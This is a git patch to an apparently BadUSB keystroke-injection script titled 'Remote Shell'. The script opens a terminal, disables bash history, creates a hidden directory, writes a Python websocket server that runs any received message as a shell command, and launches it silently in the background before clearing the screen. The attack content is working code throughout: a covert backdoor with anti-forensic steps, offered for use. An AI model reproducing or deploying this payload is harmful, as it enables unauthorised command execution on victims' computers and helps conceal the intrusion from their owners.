From 91ba8e78b44b96566071b8bfa1a5ed61a4f36639 Mon Sep 17 00:00:00 2001 From: Narsty Date: Wed, 21 Jun 2023 17:19:18 -0500 Subject: [PATCH] Update Remote Shell.txt --- Executions/Remote Shell.txt | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/Executions/Remote Shell.txt b/Executions/Remote Shell.txt index c101c9f..b173f4d 100644 --- a/Executions/Remote Shell.txt +++ b/Executions/Remote Shell.txt @@ -35,17 +35,21 @@ DELAY 500 STRING Terminal DELAY 500 ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash DELAY 500 -STRING mkdir ~/.phantom_ws && cd ~/.phantom_ws ENTER DELAY 500 -STRING echo 'import asyncio\nimport websockets\nimport subprocess\n\nasync def execute_command(websocket, path):\n async for message in websocket:\n cmd = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n cmd_output = cmd.stdout.read() + cmd.stderr.read()\n await websocket.send(cmd_output.decode())\n\nstart_server = websockets.serve(execute_command, "localhost", 8765)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()' > server.py +STRING mkdir ~/.phantom_ws && cd ~/.phantom_ws ENTER DELAY 500 -STRING nohup python3 server.py > /dev/null 2>&1 & +STRING echo 'import asyncio\nimport websockets\nimport subprocess\n\nasync def execute_command(websocket, path):\n async for message in websocket:\n cmd = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n cmd_output = cmd.stdout.read() + cmd.stderr.read()\n await websocket.send(cmd_output.decode())\n\nstart_server = websockets.serve(execute_command, "localhost", 8765)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()' > server.py ENTER DELAY 500 -STRING clear +STRING nohup python3 server.py > /dev/null 2>&1 & +ENTER +DELAY 500 +STRING clear ENTER